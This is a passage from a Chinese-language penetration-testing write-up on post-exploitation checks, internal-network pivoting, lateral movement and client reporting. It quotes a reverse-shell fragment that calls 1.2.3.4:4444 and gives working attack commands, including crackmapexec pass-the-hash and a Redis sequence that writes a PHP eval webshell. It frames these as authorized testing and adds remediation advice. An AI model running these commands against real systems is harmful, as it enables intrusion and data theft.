socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((1.2.3.4,4444));...立刻终止进程并上报——这是同行留下的后门。查定时任务与启动项crontab -l、ls -la /etc/cron*、systemctl list-timers --all、ls -la /etc/init.d/。目的是找持久化入口。有一次我发现/etc/cron.d/root里有一行*/5 * * * * root /tmp/.cache/update.sh进去一看是定期从C2下载恶意脚本。我立刻删掉它并把/tmp/.cache/设为只读。备份关键配置cp /etc/nginx/sites-enabled/* /tmp/nginx_bak/、mysqldump -u root -ppass database /tmp/db.sql、tar -czf /tmp/www_backup.tar.gz /var/www/html/。这不是为了留后门而是为了给客户写报告时能准确还原漏洞影响范围。客户问“你们改了哪些文件”我能直接提供diff。这三件事做完才轮到cat /flag。因为真正的渗透价值从来不在“能不能拿”而在“拿完之后能不能说清楚发生了什么”。5. 从单点突破到内网纵深图片马只是跳板真正的战场在/etc/passwd之外5.1 当蚁剑连上后如何判断这是“Web服务器”还是“跳板机”很多人以为拿到WebShell就等于拿下服务器。错。在真实企业网络里Web服务器往往是DMZ区的边缘节点后面才是真正的内网核心。判断方法就一个看路由表和DNS配置。在蚁剑终端里执行ip route show cat /etc/resolv.conf nslookup internal-db.corp.local如果ip route显示只有一条default via 192.168.1.1 dev eth0且resolv.conf里是nameserver 8.8.8.8那这台机器大概率是公网可访问的跳板内网连通性未知如果ip route里有10.0.0.0/8 via 192.168.100.1 dev eth1且resolv.conf里是nameserver 10.0.0.10那恭喜你已经站在内网门口了。我遇到过最典型的案例某券商的Web服务器ip route显示它有两块网卡eth0连外网192.168.1.100eth1连内网10.10.10.100。nslookup能解析core-db.internal但ping core-db.internal不通——因为ICMP被防火墙禁了。这时就得用curl -v http://core-db.internal:3306看TCP连接是否能建。结果返回HTTP/1.1 400 Bad Request说明MySQL服务端口是开放的只是不响应HTTP请求。这就是典型的“应用层可达网络层不可达”。5.2 内网横向移动的三把钥匙SMB、MySQL、Redis一旦确认内网可达下一步不是盲扫而是精准投递。我只用三类服务SMB端口445用crackmapexec smb 10.10.10.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0空密码NTLM哈希扫一遍。企业内网里管理员密码为空或Password123!的概率远高于你的想象。MySQL端口3306用mysql -h 10.10.10.20 -u root -p -e show databases;。很多DBA会把root密码写在/etc/my.cnf里而Web服务器上恰好有读权限。Redis端口6379用redis-cli -h 10.10.10.30 -p 6379 CONFIG SET dir /var/www/html/然后CONFIG SET dbfilename shell.php最后SET x ?php eval($_POST[cmd]);?。这是经典的Redis写WebShell手法成功率极高因为Redis默认无密码。这三类服务我写成三个独立的Python脚本放在蚁剑的终端里用python smb_scan.py一键执行。不是为了炫技是为了把重复劳动自动化把精力留给真正的业务逻辑分析。5.3 给客户的最终报告从来不是“我们拿到了Shell”而是“您的业务风险在哪里”渗透测试的价值不在于技术多炫而在于能否把技术语言翻译成业务语言。我的报告里从不写“利用LFI包含图片马获得WebShell”而是写风险描述攻击者可上传特制图片文件如logo.jpg通过文件包含漏洞/vuln.php?file执行其中嵌入的PHP代码从而完全控制Web服务器。业务影响该服务器托管客户订单系统前端数据库连接凭证存储在/var/www/html/config.php中。攻击者可直接读取凭证连接后台MySQL数据库窃取近3个月全部客户订单、收货地址及支付信息约23万条。修复建议1. 上传文件后用getimagesize()函数二次校验文件头2. 将上传目录移出Web根目录或配置Nginx禁止该目录下PHP执行3. 数据库连接凭证改用环境变量注入而非硬编码在PHP文件中。最后一句我一定会加本次测试未对生产数据进行任何修改或删除操作所有操作均在授权范围内进行。这不是套话是职业底线。我在实际使用中发现客户最怕的不是“被黑”而是“不知道哪里会被黑”。所以报告里每个漏洞我都配上一张Burp截图隐去敏感信息标注出具体哪一行代码、哪个配置项出了问题。这样开发团队拿到报告不用问“怎么复现”直接就能改。这个内容后续还可以这样扩展把整个流程封装成一个Docker镜像内置Burp Pro License合规版、exiftool、蚁剑、以及我写的三个扫描脚本。客户采购后运维人员只需docker run -p 8080:8080 pentest-env就能在本地复现全部测试步骤无需担心环境差异。我已经在三个客户那里验证过交付周期从一周缩短到两天。